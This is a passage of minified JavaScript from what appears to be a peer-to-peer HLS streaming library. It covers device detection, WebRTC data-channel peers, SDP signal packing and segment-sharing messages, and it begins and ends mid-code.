RegExp("nettype\\/(\\w*)").exec(i())||[,""])[1].toLowerCase();if(!e&&navigator.connection){switch(navigator.connection.type){case"ethernet":e="ethernet";break;case"cellular":e="cellular";break;default:e="wifi"}}return e},getPlatform:function(){return r.isAndroid()?t.ANDROID_WEB:r.isIOS()?t.IOS_WEB:r.isElectron()?t.PC_NATIVE:t.PC_WEB},isX5:function(){return this.isAndroid()&&/\s(TBS|X5Core)\/[\w\.\-]+/i.test(i())},isPC:function(){return!s(n("os "))&&!s(n("android[/ ]"))},isIOS:function(){return s(n("os "))},isAndroid:function(){return s(n("android[/ ]"))},isIOSSafari:function(){return this.isIOS()&&this.isSafari()},isElectron:function(){return/electron/i.test(i())},isMobile:function(){return r.isAndroid()||r.isIOS()},isSafari:function(){return/^((?!chrome|android).)*safari/i.test(i())},isFirefox:function(){return/firefox/i.test(i())},isChrome:function(){return/chrome/i.test(i())},isLocalHost:function(){return"localhost"===location.hostname},device:t,getBrowser:function(){return r.isX5()?"X5":r.isChrome()?"Chrome":r.isFirefox()?"Firefox":r.isIOSSafari()?"iOS-Safari":r.isSafari()?"Mac-Safari":"Unknown"}};function i(){return navigator.userAgent.toLowerCase()}function n(e){return""+(new RegExp(e+"(\\d+((\\.|_)\\d+)*)").exec(i())||[,0])[1]||void 0}function s(e){return parseFloat((e||"").replace(/\_/g,"."))||0}e.exports=r},77:e=>{let t;e.exports="function"==typeof queueMicrotask?queueMicrotask.bind(globalThis):e=>(t||(t=Promise.resolve())).then(e).catch((e=>setTimeout((()=>{throw e}),0)))}},__webpack_module_cache__={};function __webpack_require__(e){var t=__webpack_module_cache__[e];if(void 0!==t)return t.exports;var r=__webpack_module_cache__[e]={exports:{}};return __webpack_modules__[e].call(r.exports,r,r.exports,__webpack_require__),r.exports}__webpack_require__.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return __webpack_require__.d(t,{a:t}),t},__webpack_require__.d=(e,t)=>{for(var r in t)__webpack_require__.o(t,r)&&!__webpack_require__.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},__webpack_require__.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),__webpack_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);var __webpack_exports__={};return(()=>{"use strict";__webpack_require__.d(__webpack_exports__,{default:()=>index_hls});const events={DC_SIGNAL:"SIGNAL",DC_OPEN:"OPEN",DC_REQUEST:"REQUEST",DC_PIECE_NOT_FOUND:"PIECE_NOT_FOUND",DC_PIECE_ABORT:"PIECE_ABORT",DC_CLOSE:"CLOSE",DC_RESPONSE:"RESPONSE",DC_ERROR:"ERROR",DC_PIECE:"PIECE",DC_PIECE_DATA:"PIECE_DATA",DC_TIMEOUT:"TIMEOUT",DC_PIECE_ACK:"PIECE_ACK",DC_METADATA:"METADATA",DC_PLAT_ANDROID:"ANDROID",DC_PLAT_IOS:"IOS",DC_PLAT_WEB:"WEB",DC_CHOKE:"CHOKE",DC_UNCHOKE:"UNCHOKE",DC_HAVE:"HAVE",DC_HAVE_REVERSE:"HAVE_REVERSE",DC_LOST:"LOST",DC_GET_PEERS:"GET_PEERS",DC_PEERS:"PEERS",DC_STATS:"STATS",DC_PEER_SIGNAL:"PEER_SIGNAL",DC_PLAYLIST:"PLAYLIST",BM_LOST:"lost",BM_ADDED_SEG_:"BM_ADDED_SEG_",BM_ADDED_SN_:"BM_ADDED_SN_",BM_SEG_ADDED:"BM_SEG_ADDED",FRAG_CHANGED:"FRAG_CHANGED",FRAG_LOADED:"FRAG_LOADED",FRAG_LOADING:"FRAG_LOADING",RESTART_P2P:"RESTART_P2P",EXCEPTION:"exception"},hls_next_events={...events,SCH_DCHAVE:"SCH_DCHAVE",SW_PLAYLIST:"SW_PLAYLIST",SW_GET_PLAYLIST:"SW_GET_PLAYLIST",SW_MEDIA:"SW_MEDIA",SW_GET_MEDIA:"SW_GET_MEDIA",LEVEL_LOADED:"LEVEL_LOADED",MANIFEST_PARSED:"MANIFEST_PARSED",FRAG_LOADED:"FRAG_LOADED",SYN_OUTPUT:"SYN_OUTPUT",SYN_ERROR:"SYN_ERROR",SYN_PARTIAL:"SYN_PARTIAL"};var _events_3_3_0_events_events=__webpack_require__(204),events_default=__webpack_require__.n(_events_3_3_0_events_events),utils_buffer=__webpack_require__(47);const CHECK_PEERS_INTERVAL=3;function noop(){return!0}function getQueryParam(e){return new URL(location.href).searchParams.get(e)}function updateQueryStringParam(e,t,r){var i=new RegExp("([?&])"+t+"=.*?(&|$)","i"),n=-1!==e.indexOf("?")?"&":"?";return e.match(i)?e.replace(i,"$1"+t+"="+r+"$2"):e+n+t+"="+r}function getCurrentTs(){return Date.parse(new Date)/1e3}function randomNum(e,t){return parseInt(Math.random()*(t-e+1)+e,10)}function calCheckPeersDelay(e){return 0===e?CHECK_PEERS_INTERVAL:.33*e+.67}function performRangeRequest(e,t,r){const i=new XMLHttpRequest;return new Promise(((n,s)=>{i.open("GET",e,!0),i.responseType="arraybuffer",i.timeout=3500,i.onreadystatechange=e=>{4===i.readyState&&(206===i.status?n(i.response):s(`status error ${i.status}`))},i.onerror=e=>{s("request error")},i.ontimeout=e=>{s("timeout")},i.setRequestHeader("Range",t||"bytes=0-0"),r&&r(i,e),i.send()}))}function navLang(){return"zh-CN"===(navigator.language||navigator.userLanguage)?"cn":"en"}function dontWaitFor(e){e.then((()=>{}))}function timeout(e){return new Promise((t=>setTimeout(t,e)))}function getBrowserRTC(){if("undefined"==typeof window)return null;var e={RTCPeerConnection:window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection,RTCSessionDescription:window.RTCSessionDescription||window.mozRTCSessionDescription||window.webkitRTCSessionDescription,RTCIceCandidate:window.RTCIceCandidate||window.mozRTCIceCandidate||window.webkitRTCIceCandidate};return e.RTCPeerConnection?e:null}function copyBuffer(e){const t=utils_buffer.l.from(e),r=new utils_buffer.l(e.byteLength);return t.copy(r),r}function getMaxSequence(e){const t=e.split("\n");let r=0;let i=0;for(let e of t){const t=/^#EXT-X-MEDIA-SEQUENCE:?(\-?[0-9.]*)?/.exec(e);if(t&&t[1]){r=parseInt(t[1],10);break}}for(let e of t)e.startsWith("#EXTINF")&&i++;return r+i-1}function isHttps(){return location.protocol.startsWith("https")}function isInteger(e){return"number"==typeof e&&e%1==0}function appendSlogan(e,t,r){var i=document.createElement("div");i.style.position="absolute",i.style.top="8px",i.style.left="8px",i.style.zIndex="999",i.style.fontSize="10px";var n=document.createElement("a");n.href=t,n.target="_blank",n.innerText=e,n.style.color="white",n.style.textDecoration="none",n.style.textShadow="0 0 5px white,0 0 10px #00FFFF,0 0 15px #7FFF00,0 0 20px white";var s=document.createElement("i");s.style.width="5px",s.style.height="5px",s.style.borderRadius="50%",s.style.display="inline-block",s.style.backgroundColor="#67C23A",s.style.marginBottom="2px",s.style.marginRight="4px",i.appendChild(s),i.appendChild(n);var a=r.parentNode;a&&a.insertBefore(i,r)}function getHomeUrl(){return window.atob("aHR0cHM6Ly9zd2FybWNsb3VkLm5ldC9lbi8=")}const logMap={debug:0,info:1,warn:2,error:3,none:4};class Logger{constructor(e){this.logLevel=e,this.onlineDebug=!1,console.debug=console.log,"debug"!==e&&"info"!==e||(this.logLevel="warn"),!0===e?this.logLevel="warn":!1===e?this.logLevel="none":e in logMap||(this.logLevel="error"),this.resetLogger()}enableDebug(){this.onlineDebug=!0;for(let e in logMap)this[e]=console[e]}resetLogger(){this.onlineDebug=!1;for(let e in logMap)logMap[e]<logMap[this.logLevel]?this[e]=noop:this[e]=console[e]}get isDebugLevel(){return logMap[this.logLevel]<=2||this.onlineDebug}}const utils_logger=Logger;var url_toolkit=__webpack_require__(622),url_toolkit_default=__webpack_require__.n(url_toolkit),queue_microtask=__webpack_require__(77),queue_microtask_default=__webpack_require__.n(queue_microtask);const MAX_BUFFERED_AMOUNT=65536,ICECOMPLETE_TIMEOUT=5e3,CHANNEL_CLOSING_TIMEOUT=5e3;function filterTrickle(e){return e.replace(/a=ice-options:trickle\s\n/g,"")}function warn(e){console.warn(e)}class Peer extends(events_default()){constructor(e){super(),this.channelName=e.initiator?e.channelName:null,this.initiator=e.initiator||!1,this.channelConfig=e.channelConfig||Peer.channelConfig,this.channelNegotiated=this.channelConfig.negotiated,this.config=Object.assign({},Peer.config,e.config),this.offerOptions=e.offerOptions||{},this.answerOptions=e.answerOptions||{},this.sdpTransform=e.sdpTransform||(e=>e),this.trickle=void 0===e.trickle||e.trickle,this.allowHalfTrickle=void 0!==e.allowHalfTrickle&&e.allowHalfTrickle,this.iceCompleteTimeout=e.iceCompleteTimeout||ICECOMPLETE_TIMEOUT,this.destroyed=!1,this.destroying=!1,this._connected=!1,this.remoteAddress=void 0,this.remoteFamily=void 0,this.remotePort=void 0,this.localAddress=void 0,this.localFamily=void 0,this.localPort=void 0,this._wrtc=e.wrtc&&"object"==typeof e.wrtc?e.wrtc:getBrowserRTC(),this._pcReady=!1,this._channelReady=!1,this._iceComplete=!1,this._iceCompleteTimer=null,this._channel=null,this._pendingCandidates=[],this._isNegotiating=!1,this._firstNegotiation=!0,this._batchedNegotiation=!1,this._queuedNegotiation=!1,this._sendersAwaitingStable=[],this._senderMap=new Map,this._closingInterval=null,this._remoteTracks=[],this._remoteStreams=[],this._chunk=null,this._cb=null,this._interval=null;try{this._pc=new this._wrtc.RTCPeerConnection(this.config)}catch(e){return void queue_microtask_default()((()=>this.destroy(e)))}this._isReactNativeWebrtc="number"==typeof this._pc._peerConnectionId,this._pc.oniceconnectionstatechange=()=>{this._onIceStateChange()},this._pc.onicegatheringstatechange=()=>{this._onIceStateChange()},this._pc.onconnectionstatechange=()=>{this._onConnectionStateChange()},this._pc.onsignalingstatechange=()=>{this._onSignalingStateChange()},this._pc.onicecandidate=e=>{this._onIceCandidate(e)},this.initiator||this.channelNegotiated?this._setupData({channel:this._pc.createDataChannel(this.channelName,this.channelConfig)}):this._pc.ondatachannel=e=>{this._setupData(e)},this._needsNegotiation()}get bufferSize(){return this._channel&&this._channel.bufferedAmount||0}get connected(){return this._connected&&"open"===this._channel.readyState}signal(e){if(this.destroyed)throw new Error("cannot signal after peer is destroyed");if("string"==typeof e)try{e=JSON.parse(e)}catch(t){e={}}e.renegotiate&&this.initiator&&this._needsNegotiation(),e.transceiverRequest&&this.initiator&&this.addTransceiver(e.transceiverRequest.kind,e.transceiverRequest.init),e.candidate&&(this._pc.remoteDescription&&this._pc.remoteDescription.type?this._addIceCandidate(e.candidate):this._pendingCandidates.push(e.candidate)),e.sdp&&this._pc.setRemoteDescription(new this._wrtc.RTCSessionDescription(e)).then((()=>{this.destroyed||(this._pendingCandidates.forEach((e=>{this._addIceCandidate(e)})),this._pendingCandidates=[],"offer"===this._pc.remoteDescription.type&&this._createAnswer())})).catch((e=>{this.destroy(e)})),e.sdp||e.candidate||e.renegotiate||e.transceiverRequest||this.destroy(new Error("signal() called with invalid signal data"))}_addIceCandidate(e){const t=new this._wrtc.RTCIceCandidate(e);this._pc.addIceCandidate(t).catch((e=>{!t.address||t.address.endsWith(".local")?warn("Ignoring unsupported ICE candidate."):this.destroy(e)}))}send(e){this._channel.send(e)}addTransceiver(e,t){if(this.initiator)try{this._pc.addTransceiver(e,t),this._needsNegotiation()}catch(e){this.destroy(e)}else this.emit("signal",{type:"transceiverRequest",transceiverRequest:{kind:e,init:t}})}_needsNegotiation(){this._batchedNegotiation||(this._batchedNegotiation=!0,queue_microtask_default()((()=>{this._batchedNegotiation=!1,!this.initiator&&this._firstNegotiation||this.negotiate(),this._firstNegotiation=!1})))}negotiate(){this.initiator?this._isNegotiating?this._queuedNegotiation=!0:setTimeout((()=>{this._createOffer()}),0):this._isNegotiating?this._queuedNegotiation=!0:this.emit("signal",{type:"renegotiate",renegotiate:!0}),this._isNegotiating=!0}destroy(e){this._destroy(e,(()=>{}))}_destroy(e,t){this.destroyed||this.destroying||(this.destroying=!0,queue_microtask_default()((()=>{if(this.destroyed=!0,this.destroying=!1,this._connected=!1,this._pcReady=!1,this._channelReady=!1,this._remoteTracks=null,this._remoteStreams=null,this._senderMap=null,clearInterval(this._closingInterval),this._closingInterval=null,clearInterval(this._interval),this._interval=null,this._chunk=null,this._cb=null,this._channel){try{this._channel.close()}catch(e){}this._channel.onmessage=null,this._channel.onopen=null,this._channel.onclose=null,this._channel.onerror=null}if(this._pc){try{this._pc.close()}catch(e){}this._pc.oniceconnectionstatechange=null,this._pc.onicegatheringstatechange=null,this._pc.onsignalingstatechange=null,this._pc.onicecandidate=null,this._pc.ontrack=null,this._pc.ondatachannel=null}this._pc=null,this._channel=null,e&&this.emit("error",e),this.emit("close")})))}_setupData(e){if(!e.channel)return this.destroy(new Error("Data channel event is missing `channel` property"));this._channel=e.channel,this._channel.binaryType="arraybuffer","number"==typeof this._channel.bufferedAmountLowThreshold&&(this._channel.bufferedAmountLowThreshold=MAX_BUFFERED_AMOUNT),this.channelName=this._channel.label,this._channel.onmessage=e=>{this._onChannelMessage(e)},this._channel.onbufferedamountlow=()=>{this._onChannelBufferedAmountLow()},this._channel.onopen=()=>{this._onChannelOpen()},this._channel.onclose=()=>{this._onChannelClose()},this._channel.onerror=e=>{this.destroy(e)};let t=!1;this._closingInterval=setInterval((()=>{this._channel&&"closing"===this._channel.readyState?(t&&this._onChannelClose(),t=!0):t=!1}),CHANNEL_CLOSING_TIMEOUT)}_startIceCompleteTimeout(){this.destroyed||this._iceCompleteTimer||(this._iceCompleteTimer=setTimeout((()=>{this._iceComplete||(this._iceComplete=!0,this.emit("iceTimeout"),this.emit("_iceComplete"))}),this.iceCompleteTimeout))}_createOffer(){this.destroyed||this._pc.createOffer(this.offerOptions).then((e=>{if(this.destroyed)return;this.trickle||this.allowHalfTrickle||(e.sdp=filterTrickle(e.sdp)),e.sdp=this.sdpTransform(e.sdp);const t=()=>{if(this.destroyed)return;const t=this._pc.localDescription||e;this.emit("signal",{type:t.type,sdp:t.sdp})};this._pc.setLocalDescription(e).then((()=>{this.destroyed||(this.trickle||this._iceComplete?t():this.once("_iceComplete",t))})).catch((e=>{this.destroy(e)}))})).catch((e=>{this.destroy(e)}))}_requestMissingTransceivers(){this._pc.getTransceivers&&this._pc.getTransceivers().forEach((e=>{e.mid||!e.sender.track||e.requested||(e.requested=!0,this.addTransceiver(e.sender.track.kind))}))}_createAnswer(){this.destroyed||this._pc.createAnswer(this.answerOptions).then((e=>{if(this.destroyed)return;this.trickle||this.allowHalfTrickle||(e.sdp=filterTrickle(e.sdp)),e.sdp=this.sdpTransform(e.sdp);const t=()=>{if(this.destroyed)return;const t=this._pc.localDescription||e;this.emit("signal",{type:t.type,sdp:t.sdp}),this.initiator||this._requestMissingTransceivers()};this._pc.setLocalDescription(e).then((()=>{this.destroyed||(this.trickle||this._iceComplete?t():this.once("_iceComplete",t))})).catch((e=>{this.destroy(e)}))})).catch((e=>{this.destroy(e)}))}_onConnectionStateChange(){this.destroyed||"failed"===this._pc.connectionState&&this.destroy(new Error("Connection failed."))}_onIceStateChange(){if(this.destroyed)return;const e=this._pc.iceConnectionState,t=this._pc.iceGatheringState;this.emit("iceStateChange",e,t),"connected"!==e&&"completed"!==e||(this._pcReady=!0,this._maybeReady()),"failed"===e&&this.destroy(new Error("Ice connection failed.")),"closed"===e&&this.destroy(new Error("Ice connection closed."))}getStats(e){const t=e=>("[object Array]"===Object.prototype.toString.call(e.values)&&e.values.forEach((t=>{Object.assign(e,t)})),e);0===this._pc.getStats.length||this._isReactNativeWebrtc?this._pc.getStats().then((r=>{const i=[];r.forEach((e=>{i.push(t(e))})),e(null,i)}),(t=>e(t))):this._pc.getStats.length>0?this._pc.getStats((r=>{if(this.destroyed)return;const i=[];r.result().forEach((e=>{const r={};e.names().forEach((t=>{r[t]=e.stat(t)})),r.id=e.id,r.type=e.type,r.timestamp=e.timestamp,i.push(t(r))})),e(null,i)}),(t=>e(t))):e(null,[])}_maybeReady(){if(this._connected||this._connecting||!this._pcReady||!this._channelReady)return;this._connecting=!0;const e=()=>{this.destroyed||this.getStats(((t,r)=>{if(this.destroyed)return;t&&(r=[]);const i={},n={},s={};let a=!1;r.forEach((e=>{"remotecandidate"!==e.type&&"remote-candidate"!==e.type||(i[e.id]=e),"localcandidate"!==e.type&&"local-candidate"!==e.type||(n[e.id]=e),"candidatepair"!==e.type&&"candidate-pair"!==e.type||(s[e.id]=e)}));const o=e=>{a=!0;let t=n[e.localCandidateId];t&&(t.ip||t.address)?(this.localAddress=t.ip||t.address,this.localPort=Number(t.port)):t&&t.ipAddress?(this.localAddress=t.ipAddress,this.localPort=Number(t.portNumber)):"string"==typeof e.googLocalAddress&&(t=e.googLocalAddress.split(":"),this.localAddress=t[0],this.localPort=Number(t[1])),this.localAddress&&(this.localFamily=this.localAddress.includes(":")?"IPv6":"IPv4");let r=i[e.remoteCandidateId];r&&(r.ip||r.address)?(this.remoteAddress=r.ip||r.address,this.remotePort=Number(r.port)):r&&r.ipAddress?(this.remoteAddress=r.ipAddress,this.remotePort=Number(r.portNumber)):"string"==typeof e.googRemoteAddress&&(r=e.googRemoteAddress.split(":"),this.remoteAddress=r[0],this.remotePort=Number(r[1])),this.remoteAddress&&(this.remoteFamily=this.remoteAddress.includes(":")?"IPv6":"IPv4")};if(r.forEach((e=>{"transport"===e.type&&e.selectedCandidatePairId&&o(s[e.selectedCandidatePairId]),("googCandidatePair"===e.type&&"true"===e.googActiveConnection||("candidatepair"===e.type||"candidate-pair"===e.type)&&e.selected)&&o(e)})),a||Object.keys(s).length&&!Object.keys(n).length){if(this._connecting=!1,this._connected=!0,this._chunk){try{this.send(this._chunk)}catch(t){return this.destroy(t)}this._chunk=null;const e=this._cb;this._cb=null,e(null)}"number"!=typeof this._channel.bufferedAmountLowThreshold&&(this._interval=setInterval((()=>this._onInterval()),150),this._interval.unref&&this._interval.unref()),this.emit("connect")}else setTimeout(e,100)}))};e()}_onInterval(){!this._cb||!this._channel||this._channel.bufferedAmount>MAX_BUFFERED_AMOUNT||this._onChannelBufferedAmountLow()}_onSignalingStateChange(){this.destroyed||("stable"===this._pc.signalingState&&(this._isNegotiating=!1,this._sendersAwaitingStable.forEach((e=>{this._pc.removeTrack(e),this._queuedNegotiation=!0})),this._sendersAwaitingStable=[],this._queuedNegotiation?(this._queuedNegotiation=!1,this._needsNegotiation()):this.emit("negotiated")),this.emit("signalingStateChange",this._pc.signalingState))}_onIceCandidate(e){this.destroyed||(e.candidate&&this.trickle?this.emit("signal",{type:"candidate",candidate:{candidate:e.candidate.candidate,sdpMLineIndex:e.candidate.sdpMLineIndex,sdpMid:e.candidate.sdpMid}}):e.candidate||this._iceComplete||(this._iceComplete=!0,this.emit("_iceComplete")),e.candidate&&this._startIceCompleteTimeout())}_onChannelMessage(e){if(this.destroyed)return;let t=e.data;t instanceof ArrayBuffer&&(t=utils_buffer.l.from(t)),this.emit("data",t)}_onChannelBufferedAmountLow(){if(this.destroyed||!this._cb)return;const e=this._cb;this._cb=null,e(null)}_onChannelOpen(){this._connected||this.destroyed||(this._channelReady=!0,this._maybeReady())}_onChannelClose(){this.destroyed||this.destroy()}}Peer.config={iceServers:[{urls:["stun:stun.l.google.com:19302","stun:global.stun.twilio.com:3478"]}],sdpSemantics:"unified-plan"},Peer.channelConfig={};const peer_channel=Peer,core_segment=class{constructor(e,t,r,i,n=0){this._sn=e,this._segId=t,this._data=r,this._fromPeerId=i,this._level=n}get size(){return this._data.byteLength}get sn(){return this._sn}get segId(){return this._segId}get data(){return this._data}get fromPeerId(){return this._fromPeerId}get level(){return this._level||0}get isSequential(){return this._sn>=0}};var utils_platform=__webpack_require__(422),platform_default=__webpack_require__.n(utils_platform);const delimiter="|",arrayDelimiter=",",candTypeMap={h:"host",s:"srflx",p:"prflx",r:"relay"},sdpType2Char=(e,t)=>{let r;switch(e){case"candidate":r="c";break;case"offer":r=t?"q":"o";break;case"answer":r=t?"s":"a"}return r},char2SdpType=e=>{let t={};switch(e){case"o":t={type:"offer"};break;case"q":t={type:"offer",trickle:!0};break;case"a":t={type:"answer"};break;case"s":t={type:"answer",trickle:!0};break;case"c":t={type:"candidate",trickle:!0}}return t},charOffset=0,bytesToStr=e=>"number"==typeof e?bytesToStr([e]):String.fromCharCode(...e.map((e=>e+charOffset))),strToBytes=e=>e.split("").map((e=>e.charCodeAt(0)-charOffset));function parseCand(e){const[,t,r,i,n,s,a,o,l,h,d,u,c,f,g]=/(\S*) (\d*) (\S*) (\d*) (\S*) (\d*) typ (\S*)(?: raddr (\S*) rport (\d*))?(?: tcptype (\S*))?(?: generation (\d*))?(?: ufrag (\S*))?(?: network-id (\d*))?(?: network-cost (\d*))?/.exec(e);return{foundation:t,component:r,transport:i,priority:n,ip:s,port:a,type:o,raddr:l,rport:h,tcptype:d,generation:u,networkId:f,networkCost:g,ufrag:c}}function pack({type:e,sdp:t,candidate:r}){return t&&t.startsWith("v=0")?packSdp(e,t):"candidate"===e&&r?packCandidate(r.candidate):null}function packCandidate(e){const t=e.indexOf(":");if(t<=0)return null;let r=packCandItem(e.slice(t+1).trim());return r?sdpType2Char("candidate")+r.cand:null}function packSdp(e,t){let r,i,n,s=[],a=!1,o=!1;for(const e of t.split("\r\n")){const t=e.indexOf(":");if(t<=0)continue;if("a=ice-options:trickle"===e){o=!0;continue}const[l,h]=[e.slice(0,t),e.slice(t+1).trim()];switch(l){case"a=ice-ufrag":r=h;break;case"a=ice-pwd":i=h;break;case"a=fingerprint":n=bytesToStr(h.substr("sha-256".length).trim().split(":").map((e=>parseInt(e,16))));break;case"a=candidate":let e=packCandItem(h,a);if(!e)continue;if(e.local){if(a)continue;a=!0}s.push(e.cand)}}return sdpType2Char(e,o)+n+(s.length>0?s.join(arrayDelimiter):"")+(o?"":delimiter)+r+delimiter+i}function packCandItem(e){let t=!1;const r=parseCand(e);if("TCP"===r.transport)return null;r.ip.endsWith(".local")&&(t=!0);let i=r.type.charAt(0);const n=r.ip.split(".");if(4===n.length){const e=n.reduce((function(e,t){return(e<<8)+parseInt(t,10)}));i=`${i}${r.foundation} ${e}:${parseInt(r.port)}`}else i=`${i}${r.foundation} ${r.ip} ${r.port}`;return{cand:i,local:t}}function unpack(e,t){const r=char2SdpType(e.substr(0,1));return r?"candidate"===r.type?unpackCand(e):unpackSdp(r.type,t,e,r.trickle):null}function unpackCand(e){let t=unpackCandItem(e.substr(1),100);return t?{type:"candidate",candidate:{candidate:`candidate:${t}`,sdpMLineIndex:0,sdpMid:"0"}}:null}function unpackSdp(e,t,r,i){const n=strToBytes(r.slice(1,33)).map((e=>("0"+e.toString(16)).slice(-2))),s=r.substr(33);let a,o,l;i?[o,l]=s.split(delimiter):[a,o,l]=s.split(delimiter);const h=i?[]:a.split(arrayDelimiter),d=["v=0",`o=- ${t} 2 IN IP4 127.0.0.1`,"s=-","t=0 0","a=group:BUNDLE 0","a=msid-semantic: WMS","m=application 9 UDP/DTLS/SCTP webrtc-datachannel","c=IN IP4 0.0.0.0","a=mid:0","a=sctp-port:5000","a=setup:"+("answer"===e?"active":"actpass"),`a=ice-ufrag:${o}`,`a=ice-pwd:${l}`,`a=fingerprint:sha-256 ${n.join(":").toUpperCase()}`];i&&d.push("a=ice-options:trickle");let u=100;for(const e of h){let t=unpackCandItem(e,u);t&&(u--,d.push(`a=candidate:${t}`))}return{type:e,sdp:d.join("\r\n")+"\r\n"}}function unpackCandItem(e,t){let r,i,n;const s=candTypeMap[e.substr(0,1)],a=e.substr(1).split(" ");if(2===a.length){n=a[0];const e=a[1].split(":");r=[e[0]>>24&255,e[0]>>16&255,e[0]>>8&255,255&e[0]].join("."),i=e[1]}else[n,r,i]=a;return`${[n,1,"udp",t,r,i,"typ",s].join(" ")}`}const DC_TOLERANCE=2,DEFAULT_PACKET_SIZE=64e3,ALPHA=.6,SIGNAL_PACK_VER=1;class peer_Peer extends(events_default()){static get VERSION(){return"8"}constructor(e,t,r,i,n,s,a={}){super(),this.engine=e,this.channel=e.fetcher.channelId,this.logger=e.logger,this.config=n,this.isInitiator=i,this.options=a,this.typeExpected=s,this.remotePeerId=r,this.intermediator=a.intermediator||null,this.channelId=i?`${t}-${r}`:`${r}-${t}`,this.cpr=0,this.platform="unknown",this.mobile=!1,this.mobileWeb=!1,this.connected=!1,this.msgQueue=[],this.miss=0,this.notifySet=new Set,this.bufArr=[],this.packetSize=DEFAULT_PACKET_SIZE,this.connTimeout=setTimeout((()=>{this.logger.warn(`dc ${this.channelId} connection timeout`),this.emit(events.DC_ERROR,!0)}),25e3),this.sendReqQueue=[],this.downloading=!1,this.uploading=!1,this.choked=!1,this.downloadListeners=[],this.pieceMsg={},this.timeSendRequest=0,this.timeReceivePiece=0,this.timeSendPiece=0,this.weight=0,this.peersConnected=1,this.timeJoin=getCurrentTs(),this.uploadSpeed=0,this.gotPeers=!1,this.currentLevel=0;let o={};if(this.options.stuns.length>0){const e=[];this.options.stuns.forEach((t=>{this.logger.info(`use stun ${t}`),e.push({urls:t})})),o.iceServers=e}this.config.webRTCConfig&&(o={...this.config.webRTCConfig,...o}),this.playlistMap=new Map,this._datachannel=new peer_channel({initiator:i,channelName:this.channelId,trickle:a.trickle||!1,config:o}),this._init(this._datachannel),this.dataExchangeTs=this.timeJoin,this.gotStatsTs=this.timeJoin,this.startSN=Number.MAX_SAFE_INTEGER,this.endSN=-1}get isAvailable(){return this.downloadNum<2&&!this.choked}get isAvailableUrgently(){return!this.downloading&&!this.choked}addDownloadListener(e){this.downloadListeners.push({handler:e})}_init(e){e.on("error",(e=>{this.emit(events.DC_ERROR,!0)})),e.on("signal",(e=>{if(this.cpr===SIGNAL_PACK_VER){const t=pack(e);t?e=t:this.logger.error("signal pack error")}this.emit(events.DC_SIGNAL,e)}));e.once("connect",(()=>{for(this.logger.info(`datachannel CONNECTED to ${this.remotePeerId} from ${this.intermediator?"peer":"server"}`),this.connected=!0,clearTimeout(this.connTimeout),this.emit(events.DC_OPEN);this.msgQueue.length>0;){let e=this.msgQueue.shift();this.emit(e.event,e)}})),e.on("data",(e=>{const{logger:t}=this;if("string"==typeof e){let r=JSON.parse(e);if(!this.connected)return void this.msgQueue.push(r);let i,n=r.event;switch(i=n!==events.DC_PLAYLIST&&n!==events.DC_PEER_SIGNAL?`string: ${e}`:`event: ${n}`,t.debug(`datachannel receive ${i} from ${this.remotePeerId}`),n){case events.DC_HAVE:if(this.emit(r.event,r),!r.sn)return;this.config.live||(r.sn<this.startSN&&(this.startSN=r.sn),r.sn>this.endSN&&(this.endSN=r.sn));break;case events.DC_PIECE:this.downloading=!0,this.dataExchangeTs=getCurrentTs(),this.timeReceivePiece=performance.now(),this.pieceMsg=r,this._prepareForBinary(r.attachments,r.seg_id,r.sn,r.size),this.emit(r.event,r);break;case events.DC_PIECE_NOT_FOUND:this._sendNextReq()||(this.downloading=!1),this.emit(r.event,r);break;case events.DC_REQUEST:this._handleRequestMsg(r);break;case events.DC_PIECE_ACK:this.dataExchangeTs=getCurrentTs(),this._handlePieceAck(r),this.emit(r.event,r);break;case events.DC_STATS:this._handleStats(r);break;case events.DC_PLAYLIST:this.config.sharePlaylist&&this._handlePlaylist(r);break;case events.DC_METADATA:this._handleMetadata(r);break;case events.DC_PIECE_ABORT:this.downloading&&(this._notifyDownloadListenersAbort("aborted by upstream peer"),this.emit(events.DC_PIECE_ABORT,r));break;case events.DC_CHOKE:t.info(`choke peer ${this.remotePeerId}`),this.choked=!0;break;case events.DC_UNCHOKE:t.info(`unchoke peer ${this.remotePeerId}`),this.choked=!1;break;case events.DC_CLOSE:this.emit(r.event,r.fatal||!1);break;default:this.emit(r.event,r)}}else{if(!this.downloading)return void t.error(`peer is not downloading, data size ${e.byteLength} pieceMsg ${JSON.stringify(this.pieceMsg)}`);this._handleBinaryMsg(e)}})),e.once("close",(()=>{this.emit(events.DC_CLOSE,!1)})),e.on("iceStateChange",((e,t)=>{"disconnected"===e&&(this.logger.warn(`${this.remotePeerId} disconnected`),this.connected=!1)}))}sendJson(e){e.event!==events.DC_PLAYLIST&&e.event!==events.DC_PEER_SIGNAL?this.logger.debug(`dc bufferSize ${this._datachannel.bufferSize} send ${JSON.stringify(e)} to ${this.remotePeerId}`):this.logger.debug(`dc send event ${e.event} to ${this.remotePeerId}`);const t=JSON.stringify(e);return t.length>DEFAULT_PACKET_SIZE?(this.logger.error("string to send is too large"),!1):this.send(t)}send(e){if(this._datachannel&&this._datachannel.connected)try{return this._datachannel.send(e),!0}catch(e){this.logger.warn(`datachannel ${this.channelId} send data failed, close it`),this.emit(events.DC_ERROR,!1)}return!1}sendMsgHave(e,t,r={}){const i=r.reverse||void 0;delete r.reverse,this.sendJson({event:i?events.DC_HAVE_REVERSE:events.DC_HAVE,sn:e,seg_id:t,...r})}sendPieceNotFound(e,t,r={}){this.uploading=!1,this.sendJson({event:events.DC_PIECE_NOT_FOUND,seg_id:t,sn:e,...r})}sendPeers(e){this.sendJson({event:events.DC_PEERS,peers:e})}sendPeersRequest(){this.sendJson({event:events.DC_GET_PEERS})}sendMsgStats(e,t,r=0){const i={event:events.DC_STATS,total_conns:e,children:t,level:r};this.sendJson(i)}sendMsgPlaylist(e,t,r){if(this.playlistMap.has(e)){if(this.playlistMap.get(e).seq>=r)return}const i={event:events.DC_PLAYLIST,url:e,data:t,seq:r};this.sendJson(i)}sendMsgSignal(e,t,r){return this.sendJson({event:events.DC_PEER_SIGNAL,action:"signal",to_peer_id:e,from_peer_id:t,data:r})}sendMsgSignalReject(e,t,r,i=!1){return 